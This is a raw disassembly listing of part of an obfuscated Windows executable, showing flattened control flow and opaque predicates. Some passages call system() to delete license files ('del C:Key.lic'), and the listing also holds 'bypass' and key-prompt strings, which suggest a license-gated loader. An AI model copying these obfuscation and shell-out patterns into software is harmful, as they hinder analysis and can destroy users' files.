mov ecx, edx
cmp ecx, 0xf8519604
jle 0x140018ad0
cmp ecx, 0xf8519605
je 0x140018a8e
cmp ecx, 0x500734ed
je 0x140018afa
cmp ecx, 0x6e8b7459
jne 0x140018a90
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x16
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018a90
cmp ecx, 0xb10778c1
je 0x140018aee
cmp ecx, 0xd56ccb21
jne 0x140018a90
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018a90
mov r15, qword [rbp + 0x138]
mov ecx, r9d
jmp 0x140018a90
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 5], cl
mov rcx, qword [rbp + 0x178]
mov rcx, qword [rcx]
movsx rcx, byte [rcx + 0xc]
mov qword [rbp + 0x1b0], rcx
mov ecx, 0x6e8b7459
jmp 0x140018b30
mov ecx, edx
nop word [rax + rax]
cmp ecx, 0xf8519604
jle 0x140018b70
cmp ecx, 0xf8519605
je 0x140018b28
cmp ecx, 0x500734ed
je 0x140018b9a
cmp ecx, 0x6e8b7459
jne 0x140018b30
mov rcx, qword [rbp + 0x1b0]
xor rcx, 0x17
mov qword [rbp + 0x138], rcx
mov ecx, 0xf8519605
jmp 0x140018b30
cmp ecx, 0xb10778c1
je 0x140018b8e
cmp ecx, 0xd56ccb21
jne 0x140018b30
mov rcx, qword [rbp + 0x138]
mov ecx, 0xb10778c1
jmp 0x140018b30
mov r15, qword [rbp + 0x138]
mov ecx, r9d
jmp 0x140018b30
mov byte [rbp + 0x188], r15b
movzx ecx, byte [rbp + 0x188]
mov byte [rax + 6], cl
mov byte [rax + 7], 0
mov rax, qword [rbp + 0x180]
mov byte [rax + 0xe], 1
mov edx, 0x9ff0b423
jmp 0x1400174f0
mov eax, dword [0x1402b5cf0]
mov ecx, dword [0x1402b5cf4]
lea edx, [rax + 1]
imul edx, eax
not edx
or edx, 0xfffffffe
cmp edx, 0xffffffff
sete al
cmp ecx, 0xa
setl r9b
xor r9b, al
mov eax, 0x704805a0
cmovne eax, r10d
cmp edx, 0xffffffff
mov edx, eax
cmove edx, r10d
cmp ecx, 0xa
cmovge edx, eax
jmp 0x1400174f0
cmp edx, 0x937b4b91
jne 0x1400174f0
mov rax, qword [rbp + 0x180]
mov rax, qword [rbp + 0x168]
mov eax, 0x260037e1
mov rsp, qword [rbp + 0x128]
mov r13, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x14001731f
mov rsp, qword [rbp + 0x120]
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140018c82
or cl, al
je 0x140018c82
nop word cs:[rax + rax]
jmp 0x140018c80
mov r12d, 0x96d05332
mov rbx, rbp
mov esi, 0x1d1f61fc
mov edi, 0x83b11fa6
mov r15d, 0xba6a6666
cmp r12d, 0xba6a6665
jle 0x140018cc4
cmp r12d, 0xba6a6666
je 0x140018d20
cmp r12d, 0x1d1f61fc
je 0x140018d2b
cmp r12d, 0x4a778b8c
jne 0x140018c9b
jmp 0x140018d92
cmp r12d, 0x83b11fa6
je 0x140018d77
cmp r12d, 0x96d05332
jne 0x140018c9b
mov eax, dword [0x1402b5d00]
mov ecx, dword [0x1402b5d04]
lea edx, [rax + 1]
imul edx, eax
mov eax, edx
xor eax, 0xfffffffe
test eax, edx
sete r8b
cmp ecx, 0xa
setl r9b
xor r9b, r8b
mov r8d, 0x83b11fa6
cmovne r8d, esi
test eax, edx
mov r12d, r8d
cmove r12d, esi
cmp ecx, 0xa
cmovge r12d, r8d
jmp 0x140018c9b
mov r12d, 0x4a778b8c
jmp 0x140018c9b
sub rsp, 0x20
mov rcx, rbx
call fcn.1400d6be0
add rsp, 0x20
mov r14, rax
mov eax, dword [0x1402b5d00]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
mov r12d, 0x83b11fa6
cmove r12d, r15d
cmp dword [0x1402b5d04], 0xa
cmovge r12d, edi
setl cl
xor cl, al
cmovne r12d, r15d
jmp 0x140018c9b
mov r12d, 0x1d1f61fc
sub rsp, 0x20
mov rcx, rbx
call fcn.1400d6be0
add rsp, 0x20
jmp 0x140018c9b
mov qword [rbp + 0x1b0], r13
mov qword [rbp + 0x138], r14
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x138]
sub rsp, 0x20
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14029bfba]
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, al
jne 0x140018e32
xor cl, al
jne 0x140018e32
nop word cs:[rax + rax]
jmp 0x140018e30
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14029bfba]
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14029bfba]
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14029b715]
mov rsi, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call rsi
lea rcx, str.del_C:Key.lic
call rsi
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5cac], 0xa
setl cl
xor edi, edi
test cl, al
jne 0x14001f221
xor cl, al
jne 0x14001f221
nop word [rax + rax]
jmp 0x140018ee0
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x140018f3a
or cl, al
je 0x140018f3a
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
jmp 0x140018ee2
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14029bfba]
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x140018fa2
or cl, al
je 0x140018fa2
nop dword [rax + rax]
jmp 0x140018fa0
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14029bfba]
call fcn.140002110
add rsp, 0x20
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
add rsp, 0x20
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x14029bfba]
call fcn.140002110
add rsp, 0x20
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
jne 0x14001901b
or cl, al
jne 0x14001907d
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14029b715]
mov rsi, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call rsi
lea rcx, str.del_C:ProgramDataKey.lic
call rsi
add rsp, 0x20
mov ecx, dword [0x1402b5ca8]
lea eax, [rcx + 1]
imul eax, ecx
test al, 1
sete dl
cmp dword [0x1402b5cac], 0xa
setge cl
setl r8b
xor r8b, dl
mov dil, 1
jne 0x14001f196
or cl, al
test cl, 1
je 0x14001f196
sub rsp, 0x20
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14029b715]
mov rsi, qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call rsi
lea rcx, str.del_C:ProgramDataKey.lic
call rsi
add rsp, 0x20
jmp 0x14001901b
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x138], rbx
mov ecx, 0x487e63e6
mov esi, 0x1a5ede10
mov r14d, 0xdcd1b738
mov r15d, 0xea3284b9
mov edx, dword [0x1402b5d08]
lea r8d, [rdx + 1]
imul r8d, edx
mov edx, r8d
xor edx, 0xfffffffe
test edx, r8d
mov edx, 0xdcd1b738
cmove edx, esi
sete r9b
mov r8d, 0xdcd1b738
cmove r8d, r15d
cmp dword [0x1402b5d0c], 0xa
cmovge edx, r14d
setl r10b
cmovge r8d, r14d
xor r10b, r9b
cmovne edx, esi
cmovne r8d, r15d
nop dword [rax]
cmp ecx, 0x1a5ede0f
jle 0x140019150
cmp ecx, 0x1a5ede10
je 0x140019197
cmp ecx, 0x534804ab
je 0x140019164
cmp ecx, 0x487e63e6
jne 0x140019120
jmp 0x140019170
cmp ecx, 0xdcd1b738
je 0x140019169
cmp ecx, 0xea3284b9
jne 0x140019120
mov ecx, edx
jmp 0x140019120
mov ecx, r8d
jmp 0x140019120
mov ecx, 0xea3284b9
jmp 0x140019120
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x138]
sub rsp, 0x20
call fcn.1400f2140
add rsp, 0x20
xor al, 1
mov ecx, 0x534804ab
jmp 0x1400190d2
and al, 1
mov byte [rbp + 0x190], al
movzx ecx, byte [rbp + 0x190]
mov r8d, dword [0x1402b5ca8]
mov eax, dword [0x1402b5cac]
lea edx, [r8 + 1]
imul edx, r8d
mov r8d, edx
xor r8d, 0xfffffffe
test r8d, edx
sete r9b
cmp eax, 0xa
setl r10b
test r10b, r9b
jne 0x1400192f4
xor r10b, r9b
jne 0x1400192f4
mov qword [rbp + 0x1b0], rdi
mov qword [rbp + 0x138], rbx
mov ecx, 0x487e63e6
mov esi, 0x1a5ede10
mov r14d, 0xdcd1b738
mov r15d, 0xea3284b9
jmp 0x140019232
mov rcx, qword [rbp + 0x1b0]
mov rdx, qword [rbp + 0x138]
sub rsp, 0x20
call fcn.1400f2140
add rsp, 0x20
xor al, 1
mov ecx, 0x534804ab
mov edx, dword [0x1402b5d08]
lea r8d, [rdx + 1]
imul r8d, edx
not r8d
or r8d, 0xfffffffe
cmp r8d, 0xffffffff
mov edx, 0xdcd1b738
cmove edx, esi
mov r8d, 0xdcd1b738
cmove r8d, r15d
sete r9b
cmp dword [0x1402b5d0c], 0xa
setge r10b
cmovge edx, r14d
cmovge r8d, r14d
setl r11b
xor r11b, r9b
cmovne edx, esi
xor r10b, r9b
cmove r8d, r15d
nop word cs:[rax + rax]
cmp ecx, 0x1a5ede0f
jle 0x1400192c0
cmp ecx, 0x1a5ede10
je 0x1400192e0
cmp ecx, 0x534804ab
je 0x1400192d4
cmp ecx, 0x487e63e6
jne 0x140019290
jmp 0x140019210
cmp ecx, 0xdcd1b738
je 0x1400192d9
cmp ecx, 0xea3284b9
jne 0x140019290
mov ecx, edx
jmp 0x140019290
mov ecx, r8d
jmp 0x140019290
mov ecx, 0xea3284b9
jmp 0x140019290
and al, 1
mov byte [rbp + 0x190], al
movzx eax, byte [rbp + 0x190]
jmp 0x1400190ae
test cl, 1
je 0x140019372
sub rsp, 0x20
lea rcx, [rbp - 0x10]
call fcn.140028110
add rsp, 0x20
sub rsp, 0x20
lea rsi, [rbp + 0x138]
mov rcx, rsi
mov rdx, rax
call fcn.140009f50
add rsp, 0x20
mov qword [rbp + 0x190], rsi
lea rax, str.bypass
mov qword [rbp + 0x1b0], rax
mov ecx, 0xab36d7de
nop
cmp ecx, 0x2fe01a44
je 0x1400193a2
cmp ecx, 0xab36d7de
jne 0x140019340
mov rcx, qword [rbp + 0x190]
mov rdx, qword [rbp + 0x1b0]
sub rsp, 0x20
call fcn.1400f2550
add rsp, 0x20
mov ecx, 0x2fe01a44
jmp 0x140019340
test r8d, edx
sete dl
setne cl
cmp eax, 0xa
setl r8b
setge al
xor edi, edi
cmp r8b, dl
jne 0x14001f196
or al, cl
je 0x14001f196
nop dword [rax + rax]
jmp 0x1400193a0
and al, 1
mov byte [rbp + 0x1e8], al
movzx eax, byte [rbp + 0x1e8]
cmp al, 1
jne 0x14001f6c0
sub rsp, 0x20
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400285e0
add rsp, 0x20
mov r14, rax
mov eax, dword [0x1402b5ca8]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete dl
setne al
cmp dword [0x1402b5cac], 0xa
setl r8b
setge cl
cmp r8b, dl
jne 0x140019402
or cl, al
je 0x140019402
jmp 0x140019400
sub rsp, 0x20
lea rcx, [rbp + 0x1b0]
call section..text
add rsp, 0x20
sub rsp, 0x20
lea rdx, [rbp + 0x1b0]
mov rcx, r14
call fcn.140002980
add rsp, 0x20
mov edx, dword [0x1402b5ca8]
lea ecx, [rdx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete dl
cmp dword [0x1402b5cac], 0xa
setl cl
test cl, dl
jne 0x140019462
xor cl, dl
jne 0x140019462
nop word cs:[rax + rax]
jmp 0x140019460
mov ecx, 0xc59ed46b
cmp ecx, 0xc59ed46b
je 0x140019479
cmp ecx, 0x1d039973
jne 0x140019467
jmp 0x140019480
mov ecx, 0x1d039973
jmp 0x140019467
mov qword [rbp + 0x128], rax
mov byte [rbp + 0x120], r12b
mov r12d, 0xeaea8172
mov r9d, 0x83c8a34f
mov r10d, 0xa5d80088
lea r11, [0x14029bf63]
lea rsi, str._____Key_:
mov edi, 0x3b8a2930
mov r14d, 0x423a9c69
mov r15d, 0xad20845f
mov r13d, 0x7b7af5c9
jmp 0x1400194d0
mov r12d, 0x99fdd4e7
nop dword [rax]
cmp r12d, 0x3b8a292f
jg 0x140019560
cmp r12d, 0xad20845e
jg 0x14001958e
cmp r12d, 0x99fdd4e7
je 0x14001a3e6
cmp r12d, 0xa49b0ee4
jne 0x1400194d0
lea rax, [rbp + 0x190]
mov qword [rbp + 0x168], rax
mov r12, qword [rbp + 0x168]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x140019730
cmp r12d, 0x7b7af5c8
jg 0x1400195e2
cmp r12d, 0x3b8a2930
je 0x1400194c7
cmp r12d, 0x423a9c69
jne 0x1400194d0
mov r12d, 0xad20845f
jmp 0x1400194d0
cmp r12d, 0xad20845f
je 0x14001a429
cmp r12d, 0xeaea8172
jne 0x1400194d0
mov eax, dword [0x1402b5d18]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
mov r12d, 0x423a9c69
cmove r12d, r15d
cmp dword [0x1402b5d1c], 0xa
cmovge r12d, r14d
setl cl
xor cl, al
cmovne r12d, r15d
jmp 0x1400194d0
cmp r12d, 0x7dd8dd1b
jne 0x14001b022
lea rax, [rbp + 0x190]
mov qword [rbp + 0x1e0], rax
mov rax, qword [rbp + 0x1e0]
mov qword [rbp + 0x168], rax
mov r12, qword [rbp + 0x168]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov edx, 0x43da19d2
cmovne edx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov ecx, 0x936cad5d
jmp 0x140019660
mov rcx, qword [rbp + 0x200]
mov rax, qword [rbp + 0x1e8]
xor eax, ecx
mov ecx, edx
cmp ecx, 0xa5d80087
jle 0x140019690
cmp ecx, 0xa5d80088
je 0x14001964e
cmp ecx, 0x43da19d2
je 0x1400196c1
cmp ecx, 0x7b15273e
jne 0x140019660
mov ecx, ebx
jmp 0x140019660
cmp ecx, 0x83c8a34f
je 0x1400197e1
cmp ecx, 0x936cad5d
jne 0x140019660
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], select
mov ecx, 0x7b15273e
jmp 0x140019660
mov rcx, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x1e8]
mov rcx, qword [rbp + 0x200]
mov rcx, qword [rbp + 0x1e8]
mov ecx, 0xa5d80088
jmp 0x140019660
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop dword [rax]
cmp edx, 0xa5d80087
jle 0x140019760
cmp edx, 0xa5d80088
je 0x140019711
cmp edx, 0x43da19d2
je 0x140019791
cmp edx, 0x7b15273e
jne 0x140019730
mov edx, ecx
jmp 0x140019730
cmp edx, 0x83c8a34f
je 0x14001a462
cmp edx, 0x936cad5d
jne 0x140019730
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], select
mov edx, 0x7b15273e
jmp 0x140019730
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019730
mov byte [rbp + 0x1d0], al
movzx eax, byte [rbp + 0x1d0]
mov byte [r12], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x140019850
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop dword [rax + rax]
cmp edx, 0xa5d80087
jle 0x140019880
cmp edx, 0xa5d80088
je 0x14001982d
cmp edx, 0x43da19d2
je 0x1400198ad
cmp edx, 0x7b15273e
jne 0x140019850
mov edx, ecx
jmp 0x140019850
cmp edx, 0x83c8a34f
je 0x1400198fd
cmp edx, 0x936cad5d
jne 0x140019850
mov qword [rbp + 0x200], 0x3e
mov qword [rbp + 0x1e8], select
mov edx, 0x7b15273e
jmp 0x140019850
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019850
mov byte [rbp + 0x1d0], al
movzx eax, byte [rbp + 0x1d0]
mov byte [r12 + 1], al
add r12, 2
mov qword [rbp + 0x170], r12
mov qword [rbp + 0x178], r11
mov eax, 0xf6a36b48
jmp 0x140019960
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 4], al
add r12, 5
mov qword [rbp + 0x180], r12
mov qword [rbp + 0x1d0], rsi
mov eax, 0xbe9d2248
nop word cs:[rax + rax]
cmp eax, 0xbe9d2248
je 0x140019f01
cmp eax, 0xf6a36b48
jne 0x140019960
mov rax, qword [rbp + 0x178]
movsx r12, byte [rax]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x1400199d0
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop dword [rax + rax]
cmp edx, 0xa5d80087
jle 0x140019a00
cmp edx, 0xa5d80088
je 0x1400199b9
cmp edx, 0x43da19d2
je 0x140019a29
cmp edx, 0x7b15273e
jne 0x1400199d0
mov edx, ebx
jmp 0x1400199d0
cmp edx, 0x83c8a34f
je 0x140019a79
cmp edx, 0x936cad5d
jne 0x1400199d0
mov qword [rbp + 0x200], r12
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_listen
mov edx, 0x7b15273e
jmp 0x1400199d0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x1400199d0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov rcx, qword [rbp + 0x170]
mov byte [rcx], al
mov r12, qword [rbp + 0x170]
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x140019af0
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop dword [rax]
cmp edx, 0xa5d80087
jle 0x140019b20
cmp edx, 0xa5d80088
je 0x140019ad1
cmp edx, 0x43da19d2
je 0x140019b4d
cmp edx, 0x7b15273e
jne 0x140019af0
mov edx, ecx
jmp 0x140019af0
cmp edx, 0x83c8a34f
je 0x140019b9d
cmp edx, 0x936cad5d
jne 0x140019af0
mov qword [rbp + 0x200], 0x3e
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohl
mov edx, 0x7b15273e
jmp 0x140019af0
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019af0
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 1], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1402b5d14], 0xa
setge dl
setl r8b
xor r8b, al
or dl, cl
not dl
or dl, r8b
test dl, 1
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x140019c10
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
cmp edx, 0xa5d80087
jle 0x140019c40
cmp edx, 0xa5d80088
je 0x140019bf5
cmp edx, 0x43da19d2
je 0x140019c6d
cmp edx, 0x7b15273e
jne 0x140019c10
mov edx, ecx
jmp 0x140019c10
cmp edx, 0x83c8a34f
je 0x140019cbd
cmp edx, 0x936cad5d
jne 0x140019c10
mov qword [rbp + reloc.WLDAP32.dll_Ordinal_320], 0x20
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_ntohs
mov edx, 0x7b15273e
jmp 0x140019c10
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019c10
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 2], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402b5d14], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov ecx, 0x43da19d2
cmovne ecx, r9d
mov ebx, 0x43da19d2
cmovne ebx, r10d
mov edx, 0x936cad5d
jmp 0x140019d30
mov rax, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
xor eax, edx
mov edx, ecx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x140019d60
cmp edx, 0xa5d80088
je 0x140019d14
cmp edx, 0x43da19d2
je 0x140019d8d
cmp edx, 0x7b15273e
jne 0x140019d30
mov edx, ebx
jmp 0x140019d30
cmp edx, 0x83c8a34f
je 0x140019ddd
cmp edx, 0x936cad5d
jne 0x140019d30
mov qword [rbp + 0x200], Ordinal_79
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recv
mov edx, 0x7b15273e
jmp 0x140019d30
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019d30
mov byte [rbp + 0x188], al
movzx eax, byte [rbp + 0x188]
mov byte [r12 + 3], al
mov eax, dword [0x1402b5d10]
lea ecx, [rax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete al
cmp dword [0x1402b5d14], 0xa
setl cl
or cl, al
mov ebx, 0x43da19d2
cmovne ebx, r9d
mov ecx, 0x43da19d2
cmovne ecx, r10d
mov edx, 0x936cad5d
jmp 0x140019e50
mov rdx, qword [rbp + 0x200]
mov r8, qword [rbp + 0x1e8]
mov eax, edx
xor eax, edx
not eax
and eax, r8d
xor eax, edx
mov edx, ebx
nop word cs:[rax + rax]
cmp edx, 0xa5d80087
jle 0x140019e80
cmp edx, 0xa5d80088
je 0x140019e2b
cmp edx, 0x43da19d2
je 0x140019eb1
cmp edx, 0x7b15273e
jne 0x140019e50
mov edx, ecx
jmp 0x140019e50
cmp edx, 0x83c8a34f
je 0x140019928
cmp edx, 0x936cad5d
jne 0x140019e50
mov qword [rbp + 0x200], WSAGetLastError
mov qword [rbp + 0x1e8], reloc.WS2_32.dll_recvfrom
mov edx, 0x7b15273e
jmp 0x140019e50
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov rdx, qword [rbp + 0x200]
mov rdx, qword [rbp + 0x1e8]
mov edx, 0xa5d80088
jmp 0x140019e50
mov rax, qword [rbp + 0x1d0]
movsx r12, byte [rax + 7]
